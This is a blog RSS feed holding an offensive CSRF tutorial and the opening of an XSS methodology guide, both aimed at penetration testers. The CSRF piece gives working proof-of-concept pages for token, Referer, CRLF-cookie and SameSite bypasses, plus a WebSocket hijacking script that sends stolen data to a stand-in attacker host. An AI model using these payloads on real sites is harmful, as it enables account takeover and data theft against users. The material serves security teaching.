<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sau Rav on Medium]]></title>
        <description><![CDATA[Stories by Sau Rav on Medium]]></description>
        <link>https://medium.com/@ravsau00?source=rss-5b4a4cfce0d9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*hdW1V07W1n2jq3gz</url>
            <title>Stories by Sau Rav on Medium</title>
            <link>https://medium.com/@ravsau00?source=rss-5b4a4cfce0d9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 22:03:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ravsau00/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Modern CSRF Playbook: From Basic Mechanics to SameSite Bypasses]]></title>
            <link>https://medium.com/@ravsau00/the-modern-csrf-playbook-from-basic-mechanics-to-samesite-bypasses-c28128e40f46?source=rss-5b4a4cfce0d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/c28128e40f46</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[csrf]]></category>
            <dc:creator><![CDATA[Sau Rav]]></dc:creator>
            <pubDate>Sun, 05 Jul 2026 04:49:21 GMT</pubDate>
            <atom:updated>2026-07-05T04:52:23.861Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4VzLUGcBv-PruHmoJ3MYhA.png" /></figure><p><strong>The Ghost in the Browser: Why CSRF Isn’t Dead Yet</strong></p><p>If you ask a developer about Cross-Site Request Forgery today, they will probably say it is no longer a problem. They will tell you that modern frameworks and unguessable anti-CSRF tokens make it impossible to manipulate a user’s browser. They will also mention that many websites now use SameSite cookie attributes to kill the attack class entirely.</p><p>This is not entirely true.</p><p>While it is no longer easy to trick a user’s browser into executing a blind, cross-site request, CSRF is still a massive problem. It has just evolved. When developers do not understand how to validate user requests, or when they implement anti-CSRF tokens incorrectly, they leave the door wide open for attackers.</p><p>In this guide, we will look at how modern CSRF attacks actually work. We will start with the baseline mechanics of how browsers handle ambient authentication. Then, we will systematically escalate into the advanced techniques attackers use to bypass modern security measures. These techniques include dismantling flawed token logic, weaponizing CRLF injections to forge cookies, and exploiting weaknesses in OAuth flows to crush SameSite restrictions.</p><p>Whether you are a penetration tester looking to chain low-severity bugs into account takeovers, or a developer wanting to understand exactly how your defenses can be dismantled, this guide will show you how modern CSRF works — and how to stop it.Phase 1: The Architectural Breakdown &amp; Mechanics</p><h4>Phase 1 : The Core Philosophy: Ambient Authentication vs. Attacker Requests</h4><p>The foundational misunderstanding beginners have about CSRF is: <em>“If the attacker can forge a request, why don’t they just send it from their own terminal/server?”</em></p><p>The answer lies in how modern web architectures handle state via <strong>Ambient Authentication</strong>.</p><ul><li><strong>The Attacker’s Constraints:</strong> If an attacker sends a direct request via curl or a Python script to https://target.com/my-account/change-email, the server will reject it because the request lacks valid session identifiers (e.g., cookies). The attacker does not know the victim&#39;s session cookie.</li><li><strong>The Browser’s Trust Engine:</strong> The browser operates under a standard mechanism: whenever an HTTP request is dispatched to a specific domain, the browser automatically scans its internal cookie jar for any cookies associated with that domain. If found, it attaches them to the Cookie header of the outgoing request—<strong>regardless of who or what script initiated that request.</strong></li></ul><p>Therefore, the attacker doesn’t steal the cookie; they steal the <em>browser’s execution context</em>.</p><pre>[Attacker Website] <br>       │<br>       │ (1) Lures Victim to evil.com<br>       ▼<br>[Victim&#39;s Browser] ──(2) Executes hidden payload──► [Target Application]<br>                                                          │<br>                                                          │ (3) Automatically appends<br>                                                          ▼     Victim&#39;s Session Cookie</pre><h4>2. The Attack Conditions Checklist</h4><p>Before an application is verified as vulnerable to a baseline CSRF attack, three strict criteria must align simultaneously:</p><ol><li><strong>A Relevant State-Changing Action:</strong> The endpoint must execute an action that alters the application’s data or state (e.g., changing passwords, updating email addresses, modifying account permissions, transferring funds). A pure read action (like viewing a profile) cannot result in traditional CSRF impact.</li><li><strong>Cookie-Based Session Management:</strong> The application relies entirely on cookies to track sessions. If the application tracks sessions via custom headers (like Authorization: Bearer &lt;JWT&gt;) stored in client-side storage (localStorage), it is inherently immune to standard CSRF because the browser will not automatically append those values.</li><li><strong>Absence of Unpredictable Request Parameters:</strong> The application lacks defense mechanisms that introduce dynamic, randomized secrets into the request payload or validate structural context (e.g., missing anti-CSRF tokens, lack of strict SameSite configurations, or no source validation headers like Origin/Referer).</li></ol><p><strong>The Execution Flow: The Zero-Defense Exploit</strong></p><p>When these three conditions are met, an attacker can build an HTML infrastructure designed to force the victim’s browser into executing an unintended action.</p><h4>The Exploit Scenario</h4><ul><li><strong>Target Endpoint:</strong> POST <a href="https://target.com/my-account/change-email">https://target.com/my-account/change-email</a></li><li><strong>Expected Content-Type:</strong> application/x-www-form-urlencoded</li><li><strong>Parameters:</strong> email=victim@target.com</li></ul><h4>The Technical Payload</h4><pre>&lt;html&gt;<br>    &lt;body&gt;<br>       &lt;form method=&quot;POST&quot; action=&quot;https://target.com/my-account/change-email&quot;&gt;<br>            &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;pwnedd@evil-user.net&quot; /&gt;<br>        &lt;/form&gt;<br>        &lt;script&gt;<br>            document.forms[0].submit();<br>        &lt;/script&gt;<br>    &lt;/body&gt;<br>&lt;/html&gt;</pre><h4>Mechanical Step-by-Step Breakdown</h4><ol><li><strong>The Bait:</strong> The victim, while authenticated to target.com, visits the attacker&#39;s malicious domain (https://evil-attacker.xyz/exploit.html).</li><li><strong>DOM Parsing:</strong> The victim’s browser parses the HTML document. It encounters a standard HTML &lt;form&gt; element configured to send a cross-site POST request to the vulnerable endpoint. The input fields are set to type=&quot;hidden&quot; so the victim notices nothing unusual on their screen.</li><li><strong>Automated Execution:</strong> The &lt;script&gt; tag executes immediately upon reaching that line in the DOM parsing flow. It calls the DOM method submit() on the form object.</li><li><strong>Network Serialization:</strong> The browser serializes the hidden input data into a body string: email=pwned%40evil-attacker.xyz.</li><li><strong>Cookie Attachment:</strong> The browser recognizes that the destination is target.com. It queries its internal cookie storage, extracts the session cookie belonging to target.com, and appends it to the outbound request header:</li></ol><pre>POST /my-account/change-email HTTP/1.1<br>Host: target.com<br>Content-Type: application/x-www-form-urlencoded<br>Cookie: session=xyz123456789victimsession<br>Connection: close<br><br>email=pwned%40evil-attacker.xyz</pre><p>6. <strong>Server-Side Processing:</strong> The application server receives the request, reads the valid session=xyz12345... cookie, resolves it to the victim&#39;s active session, and processes the email change without realizing the request originated from an untrusted document context.</p><p>Now that we have established the mechanical architecture of a baseline CSRF attack, we can use this as our launching pad for the more complex bypasses.</p><h3>Phase 2: Dismantling Token Validations</h3><p>When writing about CSRF tokens for a technical audience, the most important concept to drive home is this: <strong>A token is not a magical shield; it is a string of characters evaluated by conditional logic.</strong> And wherever there is conditional logic, there is the potential for human error.</p><p>In this phase, we move beyond basic misconfigurations and start exploiting the developer’s assumptions about how tokens are validated.</p><h4>1. The Method Switch: Exploiting Asymmetric Validation</h4><p>Often, developers apply CSRF middleware strictly to POST, PUT, or DELETE requests, operating under the assumption that GET requests will never be used for state-changing actions (as per RESTful conventions).</p><p><strong>The Mechanical Flaw:</strong> If the application’s routing logic is loosely defined — for example, using $_REQUEST in PHP or @RequestMapping without a method specifier in Spring—the endpoint will happily process a GET request. Because the CSRF middleware only fires on POST, the GET request slips right past the defense.</p><p><strong>The Exploit:</strong> We transform a standard POST payload into a GET request, moving the parameters to the URL query string.</p><pre>&lt;form action=&quot;https://target.com/my-account/change-email&quot;&gt;<br>    &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;pwned@attacker.com&quot;&gt;<br>&lt;/form&gt;<br>&lt;script&gt;<br>    // The browser converts this to a GET request:<br>    // GET /my-account/change-email?email=pwned@attacker.com<br>    document.forms[0].submit();<br>&lt;/script&gt;</pre><h4>2. The Null Payload: Exploiting Conditional Logic</h4><p>This vulnerability usually arises from technical debt, backward compatibility, or APIs that serve both web and mobile clients (where mobile might use API keys instead of cookies, making CSRF tokens irrelevant).</p><p><strong>The Mechanical Flaw:</strong> The developer writes a validation check that says: <em>“If a CSRF token is present in the request, validate it. Otherwise, let it through.”</em></p><pre>// The flawed server-side pseudo-code<br>if (req.body.csrf_token) {<br>validateToken(req.body.csrf_token, user.session);<br>}<br>// If it&#39;s undefined, the code just keeps executing<br>updateEmail(req.body.email);</pre><p><strong>The Exploit:</strong></p><p>The bypass is remarkably simple: we just don’t send the token. By removing the hidden input field entirely, the server-side `if` statement evaluates to `false`, the validation is bypassed, and the state-changing action executes.</p><pre>&lt;html&gt;<br>    &lt;body&gt;<br>       &lt;form method=&quot;POST&quot; action=&quot;https://target.com/my-account/change-email&quot;&gt;<br>            &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;pwned@attacker.com&quot; /&gt;<br>            &lt;/form&gt;<br>        &lt;script&gt;<br>            document.forms[0].submit();<br>        &lt;/script&gt;<br>    &lt;/body&gt;<br>&lt;/html&gt;</pre><h4>3. The Decoupled Session Flaw: Cross-User Reusability</h4><p>This is where we transition into slightly more complex logic flaws. In this scenario, the token is present, and the server strictly validates it. You cannot drop it, and you cannot switch the HTTP method.</p><p><strong>The Mechanical Flaw:</strong> The application generates cryptographically secure CSRF tokens and stores them in a database or cache. However, the server only checks if the submitted token <em>exists in the pool of valid tokens</em>. It fails to verify that the token specifically belongs to the <strong>session of the user making the request</strong>.</p><p><strong>The Attack Flow:</strong></p><ol><li>The attacker logs into the application using their own account.</li><li>The attacker intercepts a legitimate request and copies their own valid CSRF token (e.g., csrf=AttackerToken123).</li><li>The attacker crafts a malicious HTML page, embedding <em>their</em> valid token into the payload.</li><li>The victim visits the page. Their browser automatically attaches the victim’s session cookie, but the form submits the attacker’s CSRF token.</li><li>The server sees a valid session (Victim) and a valid token (Attacker). Because they aren’t cryptographically bound to each other, the server accepts the request.</li></ol><p><strong>The Exploit :</strong></p><pre>&lt;html&gt;<br>    &lt;body&gt;<br>       &lt;form method=&quot;POST&quot; action=&quot;https://target.com/my-account/change-email&quot;&gt;<br>            &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;pwned@attacker.com&quot; /&gt;<br>            &lt;input type=&quot;hidden&quot; name=&quot;csrf&quot; value=&quot;AttackerToken123&quot; /&gt;<br>        &lt;/form&gt;<br>        &lt;script&gt;<br>            document.forms[0].submit();<br>        &lt;/script&gt;<br>    &lt;/body&gt;<br>&lt;/html&gt;</pre><h3>Phase 3: Tricking the “Caller ID” (Bypassing HTTP Headers)</h3><p>Sometimes, developers don’t want to deal with the hassle of CSRF tokens. Instead, they try a shortcut: they check the Referer header.</p><p>Think of the Referer header like <strong>Caller ID</strong> for web traffic. When a user clicks a button on Website A that sends a request to Website B, the browser automatically attaches a note that says: <em>&quot;Hey, this request is coming from Website A.&quot;</em></p><p>The developer’s logic is simple: <em>“If the Caller ID doesn’t say our website, block it!”</em></p><p>But here is how attackers easily trick that system in two different ways.</p><h4>1. The “Unknown Caller” Bypass (Missing Referer)</h4><p>Some users have strict privacy settings, VPNs, or browser extensions that completely erase their “Caller ID” before they browse the web.</p><p>Because developers don’t want to accidentally block their own paying customers who value privacy, they often make a critical mistake in their code. Their rule actually says:</p><blockquote>“If there is a Caller ID, make sure it’s us. <strong>But if there is no Caller ID at all, just let them in.</strong>”</blockquote><p><strong>The Exploit:</strong> As an attacker, we don’t have to fake the Caller ID. We just have to hide it. We can add a single line of HTML to our malicious website that commands the victim’s browser to drop the Referer header entirely.</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>  &lt;head&gt;<br>    &lt;!-- This single line tells the browser: &quot;Do not send a Caller ID&quot; --&gt;<br>    &lt;meta name=&quot;referrer&quot; content=&quot;no-referrer&quot;&gt;<br>  &lt;/head&gt;<br>  &lt;body&gt;<br>    &lt;!-- The malicious hidden form --&gt;<br>    &lt;form action=&quot;https://target.com/my-account/change-email&quot; method=&quot;POST&quot;&gt;<br>      &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;hacker@evil.com&quot;&gt;<br>    &lt;/form&gt;<br>    <br>    &lt;script&gt;<br>      // Automatically submit the form<br>      document.forms[0].submit();<br>    &lt;/script&gt;<br>  &lt;/body&gt;<br>&lt;/html&gt;</pre><p>When this runs, the server sees a blank Referer, assumes it&#39;s just a privacy-conscious user, and lets the attack through.</p><h4>2. The “Name Badge” Trick (Broken Substring Validation)</h4><p>What happens if the developer <em>forces</em> the Caller ID to be there?</p><p>Often, developers write lazy validation code. Instead of checking if the Referer is <strong>exactly</strong> https://target.com, they just check if the words target.com exist <strong>anywhere</strong> inside it.</p><p>Imagine a bouncer at a club looking at a name badge. Instead of making sure your name is “John Smith”, the bouncer just checks if the word “John” is written anywhere on your shirt.</p><p><strong>The Exploit:</strong> Since we own our malicious website, we can just name our webpage after the target! We can change our own URL to look like this: https://evil-website.com/?target.com</p><p>When the victim’s browser sends the request, the Referer header will include that full URL. The lazy server sees target.comtucked at the very end, thinks everything is fine, and allows the attack.</p><p><strong>The Code to Make it Work:</strong> To do this smoothly, we use a tiny bit of JavaScript called history.pushState(). It silently changes the URL in the user&#39;s browser bar right before the attack fires.</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>  &lt;head&gt;<br>    &lt;!-- Modern browsers try to hide the end of the URL for privacy. <br>         This tag forces the browser to send the FULL URL. --&gt;<br>    &lt;meta name=&quot;referrer&quot; content=&quot;unsafe-url&quot;&gt;<br>  &lt;/head&gt;<br>  &lt;body&gt;<br>    &lt;form action=&quot;https://target.com/my-account/change-email&quot; method=&quot;POST&quot;&gt;<br>      &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;hacker@evil.com&quot;&gt;<br>    &lt;/form&gt;<br>    <br>    &lt;script&gt;<br>      // 1. Silently add the target&#39;s name to our own URL<br>      history.pushState(&quot;&quot;, &quot;&quot;, &quot;/?target.com&quot;);<br>      <br>      // 2. Submit the form! The browser will use the new fake URL as the Caller ID.<br>      document.forms[0].submit();<br>    &lt;/script&gt;<br>  &lt;/body&gt;<br>&lt;/html&gt;</pre><h3>Phase 4: Forging the VIP Wristband (Cookie Manipulation &amp; CRLF)</h3><p>Sometimes, developers know that checking the Referer (Caller ID) isn&#39;t enough, so they enforce strict CSRF tokens. But to make their servers run faster, they decide not to store those tokens in a database. Instead, they use a <strong>Double-Submit</strong>pattern or a separate <strong>csrfKey</strong> cookie.</p><p>Think of this like a nightclub where the bouncer checks two things before letting you into the VIP section:</p><ol><li>The <strong>Ticket</strong> in your hand (the hidden CSRF token in the form).</li><li>The <strong>VIP Wristband</strong> on your arm (a secondary cookie stored in your browser).</li></ol><p>The bouncer’s only job is to make sure the number on the ticket matches the number on the wristband.</p><p><strong>The Fatal Flaw:</strong> The bouncer <em>never checks who put the wristband on your arm</em>. If an attacker can sneak up to the victim and slap a fake, attacker-controlled wristband on them, the bouncer will let them through, because the attacker also provides a matching ticket.</p><h4>1. How Do We Forge the Wristband? (Enter CRLF Injection)</h4><p>To force a fake wristband (cookie) onto the victim’s browser, attackers look for a seemingly harmless bug called <strong>CRLF Injection</strong> (Carriage Return Line Feed).</p><p>CRLF is just the technical term for pressing the “Enter” key.</p><p>Imagine you are filling out a physical form at a doctor’s office, and the receptionist is blindly typing whatever you wrote into their official computer system. If you write your name, press “Enter,” and then write <em>“P.S. Give this patient free medicine,”</em> the system might accidentally read that second line as an official command.</p><p>That is what happens with web servers. An attacker finds a search bar (or any input) where the server reflects the user’s text back in the invisible HTTP headers. The attacker types their payload, adds a hidden “Enter” key (%0d%0a), and writes an official command on the next line:</p><pre>/?search=test%0d%0aSet-Cookie: csrfKey=HACKER_TOKEN</pre><p>When the victim’s browser reads this response, it sees the official Set-Cookie command and blindly slaps the HACKER_TOKEN wristband onto the victim&#39;s arm.</p><h4>2. The 1–2 Punch (Chaining the Exploit)</h4><p>To pull off this heist, the timing has to be perfect. The attacker needs the victim’s browser to accept the fake wristband <em>milliseconds</em> before submitting the forged request.</p><p>We can achieve this using a clever trick with a broken &lt;img&gt; tag.</p><p><strong>The Execution Flow:</strong></p><ol><li>We hide the forged form on our malicious website with a ticket matching our fake wristband.</li><li>We try to load an invisible image. But instead of an image URL, we put the <strong>CRLF Injection link</strong>.</li><li>The victim’s browser reaches out to load the “image,” gets hit with the CRLF injection, and immediately puts on the fake wristband (the Set-Cookie triggers).</li><li>Because the link isn’t a real picture, the image fails to load. We use an onerror script that says: <em>&quot;If this image breaks, immediately submit the form!&quot;</em></li></ol><p><strong>The Exploit Code :</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>    &lt;body&gt;<br>        &lt;form id=&quot;csrfForm&quot; method=&quot;POST&quot; action=&quot;https://target.com/my-account/change-email&quot;&gt;<br>            &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;hacker@evil.com&quot; /&gt;<br>            &lt;input type=&quot;hidden&quot; name=&quot;csrf&quot; value=&quot;HACKER_TOKEN&quot; /&gt;<br>        &lt;/form&gt;<br>        <br>        &lt;img <br>            src=&quot;https://target.com/?search=test%0d%0aSet-Cookie:%20csrfKey=HACKER_TOKEN&quot; <br>            onerror=&quot;document.getElementById(&#39;csrfForm&#39;).submit()&quot;<br>        &gt;<br>    &lt;/body&gt;<br>&lt;/html&gt;</pre><p>By chaining a low-level injection bug (CRLF) with a CSRF logic flaw, the attacker completely bypasses the token defense mechanism.</p><h3>Phase 5: Cracking SameSite Defenses (The Final Boss)</h3><p>For years, developers prayed for a silver bullet to kill CSRF. Enter the SameSite cookie attribute.</p><p>Think of SameSite as a customs checkpoint at the border of a country (your target application).</p><ul><li><strong>SameSite=Lax (The Default):</strong> The border patrol allows tourists (standard GET navigations) to cross, but strictly blocks commercial cargo ships (cross-site POST requests).</li><li><strong>SameSite=Strict:</strong> The border patrol shuts down everything. Nobody crosses the border unless they are already inside the country.</li></ul><p>Developers often assume that if SameSite is active, CSRF is impossible. Here is how we dismantle that assumption.</p><h4>1. Bypassing Lax: Sneaking Cargo in a Tourist’s Suitcase</h4><p>If SameSite=Lax blocks POST requests, but allows top-level GET navigations, we simply need to force the state-changing action through a GET request.</p><p><strong>The Mechanical Flaw:</strong> Many modern frameworks (like Laravel or Spring) use hidden parameters to route requests. If an endpoint expects a POST but the framework supports method overriding via a query parameter (like _method=POST), we can smuggle our attack through the border checkpoint.</p><p><strong>The Exploit:</strong> We use JavaScript to force the victim’s browser to perform a standard top-level navigation (GET), which Laxallows, but we append the override parameter to trick the backend backend into treating it as a POST.</p><pre>&lt;script&gt;<br>    // The browser sees a safe GET navigation and attaches the Lax cookie.<br>    // The server reads &#39;_method=POST&#39; and executes the state change.<br>    location = &quot;https://target.com/my-account/change-email?email=hacker@evil.com&amp;_method=POST&quot;;<br>&lt;/script&gt;</pre><h4>2. Bypassing Strict: Bribing the Border Guard (Client-Side Gadgets)</h4><p>SameSite=Strict drops cookies for <em>any</em> cross-site request. Direct attacks are useless. To win, we must trick the application into making the request <em>from the inside</em>.</p><p><strong>The Mechanical Flaw:</strong> We hunt for a “client-side gadget” — a piece of JavaScript on the target site that takes user input from the URL and uses it to redirect the page.</p><p><strong>The Exploit Flow:</strong></p><ol><li>The attacker directs the victim to the target’s vulnerable redirect endpoint. Because this initial request is cross-site, the Strict cookie is <em>not</em> sent.</li><li>The target’s own JavaScript executes, reading the attacker’s injected path, and redirects the browser internally to the state-changing endpoint.</li><li>Because this second navigation was triggered <em>by the target domain itself</em>, the browser considers it a “Same-Site” navigation. The Strict checkpoint opens, the cookies are attached, and the exploit fires.</li></ol><pre>&lt;script&gt;<br>    // 1/../../ is path traversal used to break out of the intended redirect directory<br>    document.location = &quot;https://target.com/post/comment/confirmation?postId=1/../../my-account/change-email?email=hacker@evil.com%26submit=1&quot;;<br>&lt;/script&gt;</pre><h4>3. Bypassing Lax: The OAuth “Visa Refresh”</h4><p>Even without method overrides, SameSite=Lax has a hidden architectural quirk: many browsers give newly issued cookies a tiny ~2-minute &quot;grace period&quot; where they can be used in cross-site POST requests.</p><p><strong>The Mechanical Flaw:</strong> If the application uses a Single Sign-On (SSO) or OAuth flow (e.g., “Login with Google”), hitting the /social-login endpoint while the user is already authenticated will silently refresh their session in the background and issue a brand-new cookie.</p><p><strong>The Exploit:</strong> We use a pop-up window to silently trigger the OAuth refresh. Once the new cookie is minted, we immediately fire the POST payload before the Lax 2-minute grace period expires.</p><pre>&lt;form method=&quot;POST&quot; action=&quot;https://target.com/my-account/change-email&quot;&gt;<br>  &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;hacker@evil.com&quot;&gt;<br>&lt;/form&gt;<br><br>&lt;p&gt;Click anywhere to continue...&lt;/p&gt;<br><br>&lt;script&gt;<br>// Browsers block automated pop-ups, so we bind the attack to a user click<br>window.onclick = () =&gt; {<br>    // 1. Open the OAuth endpoint to silently mint a fresh session cookie<br>    window.open(&#39;https://target.com/social-login&#39;);<br><br>    // 2. Wait 5 seconds for the OAuth flow to complete, then fire the POST request<br>    setTimeout(() =&gt; {<br>        document.forms[0].submit();<br>    }, 5000);<br>};<br>&lt;/script&gt;</pre><h4>4. The Sibling Domain Pivot (Crushing Strict for CSWSH)</h4><p>The most fatal misunderstanding of SameSite=Strict is the definition of a &quot;Site.&quot; Browsers do not care about the <em>Origin</em>(app.target.com vs cms.target.com). They only care about the <em>Site</em> (target.com).</p><p><strong>The Mechanical Flaw:</strong> If you find a Cross-Site Scripting (XSS) vulnerability on <em>any</em> forgotten sibling subdomain (like a blog or a CMS), you completely own the SameSite=Strict trust boundary.</p><p>If a primary application uses WebSockets (which have no native CSRF protection) and relies entirely on SameSite=Strictsession cookies, a sibling XSS turns into full Cross-Site WebSocket Hijacking (CSWSH).</p><p><strong>The Exploit:</strong></p><ul><li>The attacker hosts their WebSocket hijacking script inside the URL of the vulnerable sibling domain (cms.target.com/login?username=&lt;script&gt;...).</li><li>The victim visits the attacker’s URL. The script executes on cms.target.com.</li><li>The script opens a WebSocket connection to the primary application (wss://app.target.com/chat).</li><li>Because cms and app share the same parent site, the browser happily attaches the SameSite=Strict session cookies, allowing the attacker to silently exfiltrate private data.</li></ul><pre>// 1. Open the WebSocket connection to the primary application<br>var ws = new WebSocket(&#39;wss://app.target.com/chat&#39;);<br><br>ws.onopen = function() {<br>    // 2. Some WebSockets require a trigger message to start streaming data<br>    ws.send(&quot;READY&quot;); <br>};<br><br>ws.onmessage = function(event) {<br>    // 3. Capture the sensitive data (e.g., chat history, API keys)<br>    var exfiltratedData = btoa(event.data); <br>    <br>    // 4. Ship the stolen data to the attacker&#39;s listening server<br>    fetch(&#39;https://evil-attacker.xyz/log?data=&#39; + exfiltratedData);<br>};</pre><pre>https://cms.target.com/login?username=%3Cscript%3Evar%20ws%20%3D%20new%20WebSocket%28%27wss%3A%2F%2Fapp.target.com%2Fchat%27%29%3Bws.onopen%20%3D%20function%28%29%20%7Bws.send%28%22READY%22%29%3B%7D%3Bws.onmessage%20%3D%20function%28event%29%20%7Bfetch%28%27https%3A%2F%2Fevil-attacker.xyz%2Flog%3Fdata%3D%27%20%2B%20btoa%28event.data%29%29%3B%7D%3B%3C%2Fscript%3E</pre><h3>Conclusion: Vulnerabilities Don’t Disappear, They Adapt</h3><p>The overarching lesson from modern CSRF exploitation is that security mechanisms are not magic shields. A CSRF token is just a string of characters evaluated by a developer’s conditional logic. A SameSite attribute is not an impenetrable firewall; it is simply a browser routing rule.</p><p>When we stop looking at these defenses as absolute protections and start analyzing them as functional logic, the attack surface blows wide open. A low-impact CRLF injection suddenly becomes a vehicle for bypassing Double-Submit token defenses. A forgotten Cross-Site Scripting (XSS) flaw on a marketing subdomain becomes the pivot point to completely bypass SameSite=Strict and hijack a WebSocket connection.</p><p>As application architectures become more complex, the seams between these security mechanisms will continue to fray. For the offensive researcher, the hunt is no longer about finding a missing token — it is about finding the logic gap in how that token is verified.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c28128e40f46" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The XSS Escalation Playbook: From Basic Reflection to DOM Breakouts]]></title>
            <link>https://medium.com/@ravsau00/the-xss-escalation-playbook-from-basic-reflection-to-dom-breakouts-551cd2b8d479?source=rss-5b4a4cfce0d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/551cd2b8d479</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Sau Rav]]></dc:creator>
            <pubDate>Tue, 19 May 2026 05:33:55 GMT</pubDate>
            <atom:updated>2026-05-19T05:33:55.952Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A comprehensive breakdown of mapping, context breakouts, WAF evasion, and DOM architecture attacks.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BOClcRSCkUBNtiMtW2y43A.png" /></figure><p>Ask any seasoned bug bounty hunter or penetration tester, and they’ll tell you: Cross-Site Scripting (XSS) is rarely as simple as popping an alert(1) box. While it&#39;s often the first vulnerability a beginner learns, mastering XSS requires moving past basic payloads and understanding exactly how modern browsers parse, execute, and occasionally break code.</p><p>When you’re up against modern Web Application Firewalls (WAFs), strict Content Security Policies (CSPs), and complex JavaScript frameworks, simply throwing a generic cheat sheet at an input field just won’t cut it. You need a systematic, surgical approach.</p><p>Whether you’re hunting for your first bounty or looking to sharpen your client-side exploitation skills, this guide breaks down XSS detection into a structured, four-phase methodology. We’ll start with the absolute fundamentals of input mapping, escalate into complex context breakouts, and ultimately dive into advanced WAF evasion and DOM architecture attacks.</p><h3>Phase 1: The Basics (Mapping and Reflection)</h3><p>This is the foundational phase of any web application assessment. If you rush through Mapping and Reflection, you will inevitably miss vulnerabilities. This phase isn’t about popping an alert box; it’s about reconnaissance, understanding how the application handles data, and mapping out the attack surface.</p><p>Here is a much deeper dive into the technical mechanics of Phase 1.</p><h3>Step 1: Identify Input Vectors (Mapping the Attack Surface)</h3><p>Most beginners only test the visible search bars or contact forms. A thorough tester maps <em>every</em> piece of data that the client sends to the server.</p><ul><li><strong>Visible Inputs:</strong> Search fields, comment boxes, user profile updates, and login/registration forms.</li><li><strong>URL Parameters &amp; Fragments:</strong> Look closely at the URL. If you see example.com/page?id=5&amp;sort=name, both id and sort are potential vectors. Don&#39;t forget the URL fragment (the # hash), which is heavily used by modern JavaScript frameworks for routing.</li><li><strong>Hidden Form Fields:</strong> Developers often pass data using hidden inputs (e.g., &lt;input type=&quot;hidden&quot; name=&quot;user_role&quot; value=&quot;guest&quot;&gt;). You won&#39;t see these on the page, but an interception proxy (like Burp Suite or OWASP ZAP) will catch them.</li><li><strong>HTTP Headers:</strong> Some applications log or reflect HTTP headers. Common targets include the User-Agent(often reflected in admin analytics dashboards), the Referer header, and X-Forwarded-For.</li><li><strong>RESTful Paths:</strong> In modern apps, data isn’t always in a ?parameter=. Sometimes it&#39;s in the path itself: example.com/api/users/YOUR_INPUT/profile.</li></ul><h3>Step 2: Test for Reflection (The Canary in the Coal Mine)</h3><p>Once you’ve mapped the inputs, you need to see if the application spits that data back out.</p><ul><li><strong>The Canary Payload:</strong> You must use a highly unique, easily identifiable string — often called a “canary.” If you inject the word “test,” and search the source code, you might find 50 legitimate instances of the word “test.” If you inject SAURAV123, and you find it in the response, you have confirmed 100% that it is your reflection .</li><li><strong>Where to Look:</strong> <em>Never</em> rely solely on looking at the rendered webpage in your browser. A payload might reflect silently in a hidden HTML attribute or inside a JavaScript variable that doesn’t visibly change the page. You must look at the raw source code (Ctrl+U) or use the Network tab in your DevTools to inspect the raw HTTP response.</li><li><strong>Multiple Reflections:</strong> A single input might reflect in multiple places on the same page. For example, a search term might reflect in an &lt;h1&gt; tag (&quot;Results for SAURAV123&quot;) and also inside a JavaScript tracking snippet. Each reflection point is a distinct target with its own context.</li></ul><h3>Step 3: Test Special Character Handling (Probing the Defenses)</h3><p>This is the most critical step of Phase 1. Once you know <em>where</em> your data lands, you must figure out <em>how</em> the server alters it. You are probing the sanitization logic.</p><p>Instead of trying to execute code right away, send a “probe payload” containing the characters necessary to build an exploit. A common probe looks like this: test&#39;&quot;&gt;&lt;\.</p><p>After sending the probe, inspect the raw response to see what the application did to your characters:</p><p><strong>HTML Encoding (The Standard Defense):</strong> This is the correct way developers should handle input in an HTML context. The server converts dangerous characters into safe HTML entities.</p><ul><li>&lt; becomes &amp;lt;</li><li>&gt; becomes &amp;gt;</li><li>&quot; becomes &amp;quot;</li></ul><p><strong>Escaping (The JavaScript Defense):</strong> If your input lands inside a JSON object or a JavaScript string, the server might try to neutralize quotes by adding a backslash.</p><ul><li>&quot;test\&quot;&quot; means the server escaped your double quotes .</li></ul><p><strong>Character Stripping (The Flawed Defense):</strong> Sometimes developers write custom filters that just delete dangerous characters. If you send &lt;script&gt;, the server might just return script.</p><ul><li><em>The Bypass:</em> If they strip tags, try nesting them. If you send &lt;scr&lt;script&gt;ipt&gt;, the filter removes the middle &lt;script&gt;, leaving the outer letters to snap together and form a valid &lt;script&gt; tag.</li></ul><p><strong>Weak Filters (The 